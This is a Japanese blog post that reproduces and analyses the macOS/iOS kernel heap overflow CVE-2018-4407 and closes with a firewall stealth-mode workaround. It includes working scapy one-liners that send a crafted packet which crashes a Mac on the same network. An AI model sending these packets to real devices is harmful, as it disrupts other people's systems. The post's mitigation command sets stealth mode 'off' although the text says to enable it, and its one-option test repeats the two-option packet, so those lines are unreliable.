knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2018-4407 (OS X Remote Kernel Heap Overflow)を試してみた

MaciPhone/iPadを簡単にクラッシュさせることが出来るという動画が少し前に話題になっていました。

PoCも公開されたので、実際に試してみたという記事です。

概要

MaciOSバイスをクラッシュさせるCVE-2018-4407の動画が話題になっていましたが、PoCコードは公開されていなかったので試せない状態でした。 ですが実はその翌日に別の人がPoCコードを公開していたようです(全然気づかなかった)。 どういう原理か気になったので試しつつ調べてみました。 普段はデバッガで追うのですがMacのKernelは試すのが大変だったので、今回はそこまではやっていません。 PoCを色々いじってみて挙動から推測した感じです。

TL;DR

先に自分の知っている範囲でまとめておきます。 実際にメモリの中とかを見たわけじゃないので正しいかは分かりません。 推測の部分が多いです。

  • 攻撃のためには不正なTCPパケットを送る必要がある
    • ヘッダを大きくすることが出来ればTCPじゃなくてもいけそう
  • IPヘッダのOptionsを壊しておく
    • PoCではOptionsの長さ指定をおかしくしている
  • IPヘッダが壊れているのでMacはICMPのParameter Problem(Type 12)を返そうとする
  • Type 12は元の不正なパケットのIPヘッダとデータグラムの先頭部分をペイロードに入れる
  • その際に確保しているメモリが少ない&長さのチェックがない
  • TCPヘッダを大きくすれば確保されたヒープのサイズを超えてアクセスしてOSがクラッシュ
  • ヒープバッファオーバーフローなので最悪任意コードが実行可能
  • MacFirewallでステルスモードを有効にすれば影響を受けない
    • ICMPを返さなくなるため
  • 攻撃するためには同一ネットワークにいる必要あり
    • インターネット経由での攻撃は難しい
    • IPヘッダのOptionsが不正な値なため、ルータを通過しない(ルータがICMPを返してしまう)

詳細

発見者の方のページに詳細が書いてあります。

lgtm.com

PoCは以下で公開されていました。

まずは試してみます。 攻撃対象のMacIPアドレスを調べておきます(今回は仮に192.168.1.2だとする)。

$ sudo scapy
WARNING: Cannot read wireshark manuf database
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

                     aSPY//YASa
             apyyyyCY//////////YCa       |
            sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
 ayp ayyyyyyySCP//Pp           syY//C    | Version 2.4.0
 AYAsAYYYYYYYY///Ps              cY//S   |
         pCCCCY//p          cSSps y//Y   | https://github.com/secdev/scapy
         SPPPP///a          pP///AC//Y   |
              A//A            cyP////C   | Have fun!
              p///Ac            sC///a   |
              P////YCpc           A//A   | Craft packets like I craft my beer.
       scccccp///pSP///p          p//Y   |               -- Jean De Clerck
      sY/////////y  caa           S//P   |
       cayCyayP//Ya              pY/Ya
        sY/PsY////YCc          aC//Yp
         sc  sccaCY//PCypaapyCP//YSs
                  spCPY//////YPSps
                       ccaacs

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

この1パケットを送るだけでMacがクラッシュします。

IP Options

このときに送られたパケットをWiresharkで見てみると、IPヘッダのOptionsのところでエラーが出ています。 他にもTCPMD5 signatureのサイズが正しくないと怒られています。

f:id:knqyf263:20181105090949p:plain

では今度は同じパケットを外部にある自分のサーバ宛に送ってみます。

>>> send(IP(dst="Public IP address",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

ICMPが返ってきました。これはルータから返ってきています。

f:id:knqyf263:20181105091353p:plain

「Parameter problem」と言われており、IPヘッダがおかしいということでエラーが返されています。 このとき、ICMPのペイロードに元のパケットのヘッダ等が含まれているのが重要です。

また、Optionsの中身がルータでチェックされて不正な場合はルータからICMPが返されてしまうため、インターネット経由での攻撃は難しいことが分かります。 もしかしたらルータによっては確認しないかもしれませんが、通過する全てのルータをすり抜ける可能性はほぼないかと思います。

Optionsの2バイト目がサイズを表しますが、この長ささえあっていればOptionsの中身自体が適当でも通過するようです。 以下では "\x08" を8個詰めたのですが、Option自体はUnknownと言われるもののICMPは返されずルータを通過しました。

f:id:knqyf263:20181105091822p:plain

今回の脆弱性は対象デバイスにICMPを返させる必要があります。 そのため同一ネットワーク内からのみ攻撃可能なようです。

TCP MD5 signature

先程のキャプチャでTCP MD5 signatureのサイズがおかしいというメッセージが出ていました。 試しに正しいサイズにしてみます。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

実はこれでも成功します。 Wiresharkで見るとTCP MD5 signatureの部分が正常に表示されています。

f:id:knqyf263:20181105093752p:plain

なので実はTCP MD5 signatureのサイズが2バイトずれているのは関係ありませんでした。 単に公開した人のミスっぽい気がします。 気になりすぎて本人に聞いたらLikeされたので、その通りだね、という意味なのかなと勝手に思っています。

で、何で2個Optionないと落ちないのか気になって試しに1個にすると確かにクラッシュしませんでした。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

そもそもIPヘッダの方が壊れてるならそっちのサイズを増やせば良いんじゃないの?TCPヘッダ関係あるの?というのが疑問で、発見者のブログにもTCPに関する解説がなくて困ってました。

という話をしていたら、とある会社のグループリーダーの方が以下のようなことを言っていました。 f:id:knqyf263:20181105114443p:plain

確かにTCPヘッダのほうが溢れる原因なのかもしれないと思い、試しにTCPヘッダの方を大きくしてみました。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*32)]))

これでもクラッシュしました。 TCP Optionsに大きい値が入っていることが分かります。 PoCを公開した方は正規のサイズまでの方が良いと考えて2個にしたのかもしれません(サイズ間違ってましたが)。 ですが実際にはTCP Optionsが1個でも大きくすれば刺さるみたいです。

f:id:knqyf263:20181105115110p:plain

実際にデバッガで追ったわけではないので発見者のブログと合わせて推測したに過ぎませんが、ICMPのType 12を返させるためにIPヘッダのOptionsを壊すのが必要で、実際にクラッシュさせるためにはTCPヘッダを大きくする必要があるのではないかと思います。 確証はないですが、色々試してみた挙動としてはそのように見えました。

回避策

発見者も書いていましたが、MacFirewallを有効にしてステルスモードを有効にすれば良いです。 有効にする方法は以下に書いてあるのですが、自分のMacではうまく出来ませんでした。

support.apple.com

なのでターミナルから実行しました。

# Firewallを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on
# ステルスモードを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode off

これpingとかに応答しなくなるだけかと思っていたのですが、エラー時のICMPも返さなくなるのですね。 実際に有効にしてからIPヘッダ壊してTCPヘッダサイズは小さいまま送ってみましたが、ICMPは返ってきませんでした。 TCPヘッダサイズを大きくしてもクラッシュしません。 恐らくICMPの処理に入らないためクラッシュしないのだと思います。

まとめ

Appleとしては、TCPUDPのヘッダサイズは固定だろうし〜とサイズを決め打ちで作っちゃったのかな、と予想してます。油断しすぎてサイズのチェックしてなかった。 その結果、可変長なTCPヘッダのOptionsに大きいサイズ詰めて送ったらオーバーフローしてしまった。 特にICMPの実装で普段そこまで使われない処理だったので見逃されていたのかなと思います。 完全に推測ですが。

実際に内部の動きを追うところまで出来なかったのは残念ですが、こういう基本的なところにもまだまだバグがあるのだなーと分かって面白かったです。